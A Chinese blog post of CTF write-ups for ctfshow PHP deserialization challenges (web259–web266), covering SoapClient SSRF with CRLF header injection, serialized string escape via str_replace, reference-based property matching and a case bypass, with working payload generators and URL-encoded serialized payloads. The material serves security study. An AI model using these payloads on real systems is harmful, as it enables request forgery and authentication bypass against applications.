首页 > 其他分享 >反序列化刷题(二)

反序列化刷题(二)

时间:2024-08-22 16:51:33浏览次数:11  
标签:127.0 0.1 22% 3A% token 序列化 刷题

反序列化刷题

web259(SSRF)

1、explod(',',"hello,ju,hey"):把字符串以逗号为判断点分为若干个数组,hello ju hey
2、array_pop($x):删除数组中的最后一个元素

1、$_SERVER['HTTP_X_FORWARDED_FOR']用来获取数据包的IP地址;我们目标要ip=127.0.0.1;

这里可以用x-forwarded-for:127.0.0.1构造虚拟本地地址,但是这里有两次array_pop()删除数组的最后一个元素,所以我们要多写两个127.0.0.1数组元素,要把多出来的两个127.0.0.1变为元素,因为explode()是以逗号分隔开并把分隔开的变成数组元素,所以我们要在多加的两个127.0.0.1前面加上逗号

x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1,这样经过逗号分隔且两次删除最后一个元素就能得到x-forwarded-for:127.0.0.1

2、POST数据token中还得等于'ctfshow';

image-20240818205140755

这里提供了传参vip反序列和对象指向一个位置函数,说明会触发__call()魔术方法,这里没写提供此方法,判断为要采用原生类中带有call方法的类SoapClient来

image-20240818205200236

监听SoapClient()初始化的数据包是怎么样的:

1、Content-Type: 我们要改为 application/x-www-form-urlencoded 表单类型

2、Content-Length: 为数据的长度,我们需要post:token=ctfshow;所以长度为13,这样就能把后面的多余的数据给忽略掉;

3、添加一个x-forwarded-for:127.0.0.1;

<?php

$client=new SoapClient(null,array('uri'=>"192.168.70.130",'location'=>"http://192.168.70.130:4444"));
$client->getFlag();  //调用不存在的方法,会自动调用——call()函数来发送请求

?>

image-20240818212412288

SoapClient中添加user_agent参数来控制ua头数据;

通过\r\n CRLF回车换行从而可以构造出:

Content-Type:application/x-www-form-urlencoded

x-forwarded-for:127.0.0.1

Content-Length:13



token=ctfshow

构造代码:

<?php

$ua="aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";


$client=new SoapClient(null,array('uri'=>"192.168.70.130",'location'=>"http://192.168.70.130:4444",'user_agent'=>$ua));
$client->getFlag();  //调用不存在的方法,会自动调用——call()函数来发送请求

?>

image-20240818214122191

有效区域相当于这样:

image-20240818214138380

图一的代码在flag.php下,所以把目的地址改为127.0.0.1/flag即可触发图一的代码,相当于利用SSRF自己访问自己;

<?php

$ua="aaa\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";


$client=new SoapClient(null,array('uri'=>"127.0.0.1",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));

echo urlencode(serialize($client));
?>
//序列化得到:
O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A134%3A%22aaa%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

将序列化后的代码传参给vip后成功flag.php写入到flag.txt中

image-20240818215647412

web262(字符串逃逸)

PHP反序列化——字符逃逸漏洞(肯定能看懂的!)-CSDN博客

a:2:{i:0;s:4:"flag";i:1;s:6:'mikasa';}abc中正常执行,abc被忽略

关键:str_replace()函数在序列化后进行字符替换,因为是序列化后才替换,所以判断字符长度不变,字符数量变了
利用:通过字符长度和字符数量的不同实现字符串逃逸

打开提示有message.php

image-20240819145905226

打开messa.php看到要token=admin就可以获取到flag;

image-20240819145927569

说明在msg传入含有fuck字符串时候,会变成loveU,会多一个字符,但是是在序列化后替换的,所以字符长度还是4,因此只能识别到love,多出U识别不了,那么我们可以在多出的字符中加入序列化后的代码**}并且和前面代码形成闭合{},进而忽略掉后面的**}原来的代码;

例如我需要123,那么我传入fuckfuckfuck123456时候长度为18,变成loveUloveUloveU123456此时loveUloveUloveU123变成有效执行,此时123就为可控参数了,可以利用"目标字符}来形成闭合:

{.."fuckfuckfuck"..目标序列化代码...}..被忽略的源代码..}

image-20240819150042529

当我们t=fuck时候

image-20240819150854547

输出

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"fuck";s:5:"token";s:4:"user";}

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"loveU";s:5:"token";s:4:"user";}

需要构造出有效的执行语句:

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:4:"sdfd";s:5:"token";s:5:"admin";}..被忽略的原序列化代码}

";s:5:"token";s:5:"admin";}为目标序列化代码,需要的长度为27,所以需要27个fuck,传参t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

输出

image-20240819153125556

以下阴影部分的字符长度为135,所以替换为loveU时候";s:5:"token";s:5:"admin";}就不受t参数控制了,覆盖为token参数,并且值为admin,形成了闭合,因此";s:5:"token";s:4:"user";}为不会被执行

替换前:

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

替换前:

O:7:"message":4:{s:4:"from";s:2:"as";s:3:"msg";s:2:"f3";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

最后访问messa.php即可看到flag的输出

image-20240819154802819

web265(指针传参)

$a=&$b;	//相当于把$b变量的地址赋值给$a变量,此时$a变量为一个指针指向$b的地址,$a会随着$b的值变化而变化;

$a=1;$b=2;
echo $a;	//输出2

$a=1;$b=2;$a=3;
echo $a;	//输出2

$a=1;$b=2;$a=3;$b=4;
echo $a;	//输出4

image-20240819195957149

实现$this->token===$this->password; 即可得到flag;

$ctfshow->token=md5(mt_rand());使得token值为随机md5值;

将password当作指针指向token的地址,这样两个参数的值就可以相同;(哪个当指针都可以,最终两个的值都是相同的)

image-20240819200213516

payload:O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D

web266

$cs = file_get_contents('php://input');
将post的数据赋值给$cs(假如post:c=123就会记录c=123,参数也会记录写下来)

image-20240819180950091

$username和$password都等于xxxxxx,并且$cs中不含ctfshow即可得到flag

1、$a=serialize(new ctfshow('xxxxxx','xxxxxx'));得到:

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

2、利用大小写绕过:

O:7:"Ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

image-20240819192843857

标签:127.0,0.1,22%,3A%,token,序列化,刷题
From: https://www.cnblogs.com/sunrise123/p/18374227

相关文章

  • 考研数学针对性训练,按章节刷题
    前言考研数学目前大家都在如火如荼地进行强化,有一些同学已经遇到了一些问题,某个章节学不会,想专项复习一下,但是又不知道怎么搞,之前也有很多小伙伴问我如何按章节刷题,那么在此给大家解答一下。方法一在考研数学欧几里得里的刷题模块,可以按章节刷题,各个大章以及小节都可以选择......
  • [工具推荐]Hessian反序列化漏洞利用工具分享
    如果觉得该文章有帮助的,麻烦师傅们可以搜索下微信公众号:良月安全。点个关注,感谢师傅们的支持。免责声明本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉......
  • 【数字IC刷题】华为海思数字IC笔试题(1)详细解析版
    文章目录单选题1、影响芯片成本的主要因素是diesize和封装,但电源、时钟等因素,特别是功耗对解决方案的成本影响较大,因此低成本设计需要兼顾低功耗设计?2、reg[31:0]big_vect;big_vect[0+:8]是多少?3、generate语句中的循环控制变量应该定义为integer类型?4、o10换算......
  • 【数字IC刷题】华为海思数字IC笔试题(2)详细解析版
    文章目录单选题1.已知“a=1'b1;b=3'b001;”,那么{a,b}=()2.描述组合逻辑时,当if语句不需要有else分支时,不写else分支,可以节省面积()3.reg[255:0]mem[31:0];该声明定义了一个位宽为32bits,深度为256的memory()4.现有表达式expr=cond_expr?expr1:expr2,如果cond_expr为x或者z,expr......
  • 【数字IC刷题】华为海思数字IC笔试题(3)详细解析版
    文章目录单选题1.表示任意两位无符号十进制数需要()位二进制数2.时间尺度定义为`timescale10ns/100ps,选择正确答案()3.时序逻辑电路不仅与输入有关,还与原来的状态有关()4.同步复位需要进行Recovery和Removal检查,异步复位不需要进行()5.异步FIFO设计中,满信号由写时钟产生,空信号由......
  • Verilog刷题笔记55
    题目:Exams/ece2412014q5aYouaretodesignaone-inputone-outputserial2’scomplementerMoorestatemachine.Theinput(x)isaseriesofbits(oneperclockcycle)beginningwiththeleast-significantbitofthenumber,andtheoutput(Z)isthe2......
  • 刷题篇 - 03
    题目一:203.移除链表元素-力扣(LeetCode)publicListNoderemoveElements(ListNodehead,intval){//1.如果链表为null,直接返回headif(head==null){returnhead;}//2.定义快慢指针ListNodepre......
  • 二叉树的序列化和反序列化(Java)
    概述关于面试中常见的其他二叉树算法题,参考面试+算法之二叉树(Java)。二叉树的定义(注意到有使用lombok提供的两个注解):@[email protected]{privateTreeNodeleft;privateTreeNoderight;privatefinalint......
  • 一文讲清楚算法刷题-计算机专业新生必看
    哈喽,大家好,我是Sunny,你也可以叫我萨宁,一个热爱分享编程知识的程序员。我的昵称是Sunny不要停,寓意是美好的晴朗日子不要停下来,希望大家都能每天开开心心的。我的频道主要分享编程知识,生活,大学计算机学科学习,考研经验。目前已经上岸某211计算机专业,有大学学习,考研相关的问题,欢迎关......
  • [Flink] Flink 序列化器
    1概述:Flink(反)序列化器简述序列化器:多用于Sink输出时反序列化器:多用于Source读取时依赖包及版本依赖包及版本信息(汇总)org.apache.kafka:kafka-clients:${kafka-clients.version=2.4.1}org.apache.flink:flink-java:${flink.version=1.12.6}org.apache.flink......